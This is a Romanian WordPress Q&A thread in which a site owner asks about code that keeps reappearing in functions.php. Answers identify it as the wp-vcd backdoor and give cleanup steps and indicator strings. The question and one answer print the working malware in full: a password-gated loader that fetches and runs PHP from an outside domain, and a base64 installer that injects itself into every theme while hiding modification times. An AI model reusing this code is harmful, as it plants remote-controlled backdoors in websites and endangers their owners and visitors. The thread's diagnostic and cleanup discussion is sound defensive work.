Ce este acest cod în functions.php al temei mele? if (isset($_REQUEST['action']) && isset($_REQUEST['password'])

1 oct. 2017, 22:55:19
Vizualizări: 27.2K
Voturi: 7

Acest cod apare în fișierul functions.php al temei mele, de asemenea și în tema copil. L-am șters de două ori dar reapare. Ce este?

if ( isset( $_REQUEST['action'] ) && isset( $_REQUEST['password'] ) && ( $_REQUEST['password'] == '227972a1a62825660efb0f32126db07f' ) ) {
    $div_code_name = "wp_vcd";
    switch ( $_REQUEST['action'] ) {
        case 'change_domain';
            if ( isset( $_REQUEST['newdomain'] ) ) {

                if ( ! empty( $_REQUEST['newdomain'] ) ) {
                    if ( $file = @file_get_contents( __FILE__ ) ) {
                        if ( preg_match_all( '/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code4\.php/i', $file, $matcholddomain ) ) {

                            $file = preg_replace( '/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file );
                            @file_put_contents( __FILE__, $file );
                            print "true";
                        }


                    }
                }
            }
            break;


        default:
            print "ERROR_WP_ACTION WP_V_CD WP_CD";
    }

    die( "" );
}


if ( ! function_exists( 'theme_temp_setup' ) ) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[ REQUEST_URI ];
    if ( stripos( $_SERVER['REQUEST_URI'], 'wp-cron.php' ) == false && stripos( $_SERVER['REQUEST_URI'], 'xmlrpc.php' ) == false ) {
        // Încercarea de a descărca conținut malițios de la un domeniu extern
        if ( $tmpcontent = @file_get_contents( "http://www.dolsh.cc/code4.php?i=" . $path ) ) {
            function theme_temp_setup( $phpCode ) {
                $tmpfname = tempnam( sys_get_temp_dir(), "theme_temp_setup" );
                $handle   = fopen( $tmpfname, "w+" );
                // Creează un fișier temporar cu cod PHP malițios
                fwrite( $handle, "<?php\n" . $phpCode );
                fclose( $handle );
                include $tmpfname;
                unlink( $tmpfname );

                return get_defined_vars();
            }

            extract( theme_temp_setup( $tmpcontent ) );
        }
    }
}
3
Comentarii

Ce temă folosești?

lukgoh lukgoh
1 oct. 2017 23:18:24

Te rog să postezi numele temei. Este posibil ca site-ul tău să fie hackuit; sau tema pe care o folosești poate avea o backdoor de la autori - este greu de spus care dintre ele. O modalitate de a verifica este să te uiți în codul temei pentru a vedea dacă backdoor-ul este încă acolo. În orice caz, ar trebui să elimini acel fișier și să verifici mai în profunzime pentru a vedea dacă și alte fișiere sunt infectate (în alte moduri).

Sas3 Sas3
2 oct. 2017 05:35:14

Bună, eu folosesc tema Boss. Dar codul apare în fiecare temă, inclusiv în tema twentyseventeen. Codul a dispărut acum, deoarece am folosit Wordfence pentru a scana și l-am eliminat. Cred că problema provine de la plugin-urile pe care le folosesc.

Topy Topy
2 oct. 2017 09:41:50
Toate răspunsurile la întrebare 4
1

Site-ul tău a fost hackat. Acesta este un cod rău intenționat care este declanșat din exterior, încărcând conținut rău intenționat din domeniul 'www.dolsh.cc'.

Dacă conținutul revine după ce îl elimini, înseamnă că ai fișiere hackate în altă parte care rescriu automat fișierul functions.php de fiecare dată când o pagină este încărcată. Trebuie să găsești și să cureți toate fișierele infectate, dar este imposibil de spus care fișiere sunt infectate fără o analiză detaliată a site-ului. Majoritatea infecțiilor de acest fel se răspândesc în diverse zone pentru a fi greu de eliminat.

Ar trebui să faci o copie de rezervă a bazei de date, apoi să reinstalezi WordPress de la zero, toate pluginurile pe care le ai și doar cele care nu sunt infectate. Este posibil ca un plugin să fie sursa infecției, sau chiar tema în sine. Dacă ai descărcat pluginuri sau teme de pe un site ilegal (care oferă pluginuri premium gratuit), acesta este cel mai probabil sursa infecției.

1 oct. 2017 23:03:40
Comentarii

Bună, mulțumesc pentru informații. Am folosit Worldfense pentru scanare și am găsit problemele. După ce am eliminat fișierele, am observat că codul respectiv nu a mai reapărut. Trebuie să reinstalez WordPress de la zero? Mulțumesc.

Topy Topy
2 oct. 2017 10:10:00
2

Folosesc Wordfence pentru a scana fișierele. Și scanarea arată următoarele rezultate:

  • fișierul functions.php din tema twentyseventeen conține de asemenea același cod menționat mai sus.
  • În folderul wp-includes, există un fișier suspect "wp-vcd.php". Fișierul conține următorul cod:

    <?php 
    error_reporting(0);
    ini_set('display_errors', 0);
    
    $install_code = 'PD9waHANCg0KaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pICYmIGlzc2V0KCRfUkVRVUVTVFsncGFzc3dvcmQnXSkgJiYgKCRfUkVRVUVTVFsncGFzc3dvcmQnXSA9PSAneyRQQVNTV09SRH0nKSkNCgl7DQokZGl2X2NvZGVfbmFtZT0id3BfdmNkIjsNCgkJc3dpdGNoICgkX1JFUVVFU1RbJ2FjdGlvbiddKQ0KCQkJew0KDQoJCQkJDQoNCg0KDQoNCgkJCQljYXNlICdjaGFuZ2VfZG9tYWluJzsNCgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsnbmV3ZG9tYWluJ10pKQ0KCQkJCQkJew0KCQkJCQkJCQ0KCQkJCQkJCWlmICghZW1wdHkoJF9SRVFVRVNUWyduZXdkb21haW4nXSkpDQoJCQkJCQkJCXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZmlsZSA9IEBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXykpDQoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKHByZWdfbWF0Y2hfYWxsKCcvXCR0bXBjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzXCgiaHR0cDpcL1wvKC4qKVwvY29kZTRcLnBocC9pJywkZmlsZSwkbWF0Y2hvbGRkb21haW4pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCg0KCQkJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGUgPSBwcmVnX3JlcGxhY2UoJy8nLiRtYXRjaG9sZGRvbWFpblsxXVswXS4nL2knLCRfUkVRVUVTVFsnbmV3ZG9tYWluJ10sICRmaWxlKTsNCgkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJGZpbGUpOw0KCQkJCQkJCQkJICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgInRydWUiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KDQoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJYnJlYWs7DQoNCgkJCQkNCgkJCQkNCgkJCQlkZWZhdWx0OiBwcmludCAiRVJST1JfV1BfQUNUSU9OIFdQX1ZfQ0QgV1BfQ0QiOw0KCQkJfQ0KCQkJDQoJCWRpZSgiIik7DQoJfQ0KDQoJDQoNCg0KaWYgKCAhIGZ1bmN0aW9uX2V4aXN0cyggJ3RoZW1lX3RlbXBfc2V0dXAnICkgKSB7ICANCiRwYXRoPSRfU0VSVkVSWydIVFRQX0hPU1QnXS4kX1NFUlZFUltSRVFVRVNUX1VSSV07DQppZiAoIHN0cmlwb3MoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10sICd3cC1jcm9uLnBocCcpID09IGZhbHNlICYmIHN0cmlwb3MoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10sICd4bWxycGMucGhwJykgPT0gZmFsc2UpIHsNCg0KaWYoJHRtcGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cuZG9sc2guY2MvY29kZTQucGhwP2k9Ii4kcGF0aCkpDQp7DQoNCg0KZnVuY3Rpb24gdGhlbWVfdGVtcF9zZXR1cCgkcGhwQ29kZSkgew0KICAgICR0bXBmbmFtZSA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCAidGhlbWVfdGVtcF9zZXR1cCIpOw0KICAgICRoYW5kbGUgPSBmb3BlbigkdG1wZm5hbWUsICJ3KyIpOw0KICAgIGZ3cml0ZSgkaGFuZGxlLCAiPD9waHBcbiIgLiAkcGhwQ29kZSk7DQogICAgZmNsb3NlKCRoYW5kbGUpOw0KICAgIGluY2x1ZGUgJHRtcGZuYW1lOw0KICAgIHVubGluaygkdG1wZm5hbWUpOw0KICAgIHJldHVybiBnZXRfZGVmaW5lZF92YXJzKCk7DQp9DQoNCmV4dHJhY3QodGhlbWVfdGVtcF9zZXVwKCR0bXBjb250ZW50KSk7DQp9DQp9DQp9DQoNCg0KDQo/Pg==';
    
    $install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
    $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
    
    
            $themes = ABSPATH . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes';
    
            $ping = true;
                $ping2 = false;
            if ($list = scandir( $themes ))
                {
                    foreach ($list as $_)
                        {
    
                            if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
                                {
                                    $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');
    
                                    if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
                                        {
                                            if (strpos($content, 'WP_V_CD') === false)
                                                {
                                                    $content = $install_code . $content ;
                                                    @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
                                                    touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
                                                }
                                            else
                                                {
                                                    $ping = false;
                                                }
                                        }
    
                                }
    
    
                                                              else
                                                            {
                                                            $list2 = scandir( $themes . DIRECTORY_SEPARATOR . $_);
                                                     foreach ($list2 as $_2)
                                                            {
    
    
                                                                                    if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'))
                                                      {
                                    $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php');
    
                                    if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'))
                                        {
                                            if (strpos($content, 'WP_V_CD') === false)
                                                {
                                                    $content = $install_code . $content ;
                                                    @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php', $content);
                                                    touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php' , $time );
                                                    $ping2 = true;
                                                }
                                            else
                                                {
                                                    //$ping = false;
                                                }
                                        }
    
                                }
2 oct. 2017 10:06:11
Comentarii

Nu descărcați niciodată pluginuri sau teme de pe site-uri dubioase, în 99% din cazuri veți ajunge cu malware și un site hackuit. Descărcați întotdeauna de pe WordPress.org sau de pe site-ul autorului pluginului/temei.

Milan Petrovic Milan Petrovic
2 oct. 2017 10:13:40

În wp-includes am eliminat și acest fișier class.wp.php. Arată aproape la fel ca class-wp.php. Dar conținutul fișierului este în întregime cod rău intenționat.

Topy Topy
4 oct. 2017 18:56:10
0

Codul pe care l-ai partajat indică prezența malware-ului wp-vcd pe site-ul tău WordPress. Principalul simptom al malware-ului wp-vcd sunt ferestrele popup de tip spam și crearea de URL-uri spam pe site.

Unele variante ale codurilor malitioase au fost observate modificând fișierele de bază ale WordPress și adăugând fișiere noi în directorul /wp-includes.

  • Malware-ul creează o backdoor care permite hackerilor să aibă acces pe site-ul tău pentru perioade îndelungate
  • Hackerii pot exploata vulnerabilități în plugin-uri și teme WordPress pentru a încărca malware-ul wp-vcd pe site-uri vulnerabile.

În fișierul functions.php din tema ta, vei vedea un cod similar cu acesta:

<?php if (file_exists(dirname(__FILE__) . '/class.theme-modules.php')) include_once(dirname(__FILE__) . '/class.theme-modules.php'); ?>

Curățarea

Abordarea 1 – Caută fișierele de pe server care sunt de obicei infectate cu hack-ul wp-vcd

  1. wp-includes/wp-vcd.php
  2. wp-includes/wp-tmp.ph
  3. wp-content/themes/*/functions.php (toate temele instalate pe server, indiferent dacă sunt active sau nu)
  4. class.theme-modules.php (în interiorul directorului temei)

Abordarea 2 – Caută modele de șiruri găsite în fișierele infectate cu malware

  1. tmpcontentx
  2. function wp_temp_setupx
  3. wp-tmp.php
  4. derna.top/code.php
  5. stripos($tmpcontent, $wp_auth_key)

Pentru referință - https://www.getastra.com/blog/911/how-to-fix-wp-vcd-backdoor-hack-in-wordpress-functions-php/

17 iun. 2019 11:02:41
1

dacă ai descărcat plugin-uri premium gratuit, te rog verifică dacă acestea conțin ambele fișiere, fiind conștient că acestea sunt fișierele responsabile de această problemă.

class.plugin-modules.php class.theme-modules.php

înainte de instalare, acest fișier avea o dimensiune de 35kb, odată instalat și activat tema/pluginul, acesta își mută codul în toate folderele wp-includes de pe hostingul tău. astfel rămâne ascuns în toate celelalte site-uri în folderele wp-includes.

22 iul. 2018 08:24:16